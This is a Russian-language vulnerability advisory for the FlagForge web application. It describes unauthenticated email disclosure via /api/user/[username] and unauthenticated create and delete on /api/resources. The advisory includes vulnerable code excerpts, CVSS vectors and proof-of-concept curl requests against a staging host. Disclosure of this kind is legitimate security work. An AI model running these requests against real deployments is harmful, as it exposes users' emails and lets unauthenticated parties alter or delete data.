
CVE для FlagForge версий с 2.0.0 по 2.3.0. Обновитесь до версии 2.3.1, чтобы устранить проблему.
В рамках / Затронутое приложение: FlagForge Web Application
Конечная точка API: /api/user/[username]
Подробности: Конечная точка возвращает адреса электронной почты пользователей без аутентификации. Любое имя пользователя может быть запрошено публично.
const user = await UserSchema.findOne({
name: { $regex: new RegExp(`^${username}$`, 'i') }
}).select('name email image totalScore customBadges createdAt role');
// No authentication check is performed
email: user.email, // Exposed publicly
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:P/CR:M/IR:L/AR:L/MAV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:L/MVI:N/MVA:N/MSC:L/MSI:N/MSA:N/AU:Y/RE:L
curl "https://staging.flagforge.xyz/api/user/No%20Reply"
Пример ответа:
{
"success": true,
"user": {
"name": "No Reply",
"email": "<REDACTED>",
...
}
}
В рамках / Затронутое приложение: FlagForge Web Application
Конечная точка API: /api/resources
Подробности:
GET /api/resources раскрывает все ресурсы публично.
На основе анализа кода запросы POST и DELETE не обеспечивают аутентификацию или авторизацию. Эти запросы не тестировались на рабочей системе, чтобы избежать воздействия на производственные данные.
Наблюдаемые заголовки (OPTIONS-запрос):
❯ curl -i -X OPTIONS "https://staging.flagforge.xyz/api/resources"
HTTP/2 204
access-control-allow-origin: https://staging.flagforge.xyz
allow: DELETE, GET, HEAD, OPTIONS, POST
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
date: Thu, 25 Sep 2025 15:03:45 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/resources
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::v7k72-1758812623945-4e3fad4b58b4
x-xss-protection: 1; mode=block
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/E:U/CR:M/IR:H/AR:M/MAV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:L/MVI:H/MVA:L/MSC:L/MSI:H/MSA:L/S:N/AU:Y/RE:M/U:Red
curl -X GET "https://staging.flagforge.xyz/api/resources"
Это даст вам _id ресурсов.
curl -X POST "https://staging.flagforge.xyz/api/resources" \
-H "Content-Type: application/json" \
-d '{"title":"Test","description":"Test","category":"Web","resourceLink":"https://example.com","uploadedBy":"tester"}'
curl -X DELETE "https://staging.flagforge.xyz/api/resources?id=<resource-id>"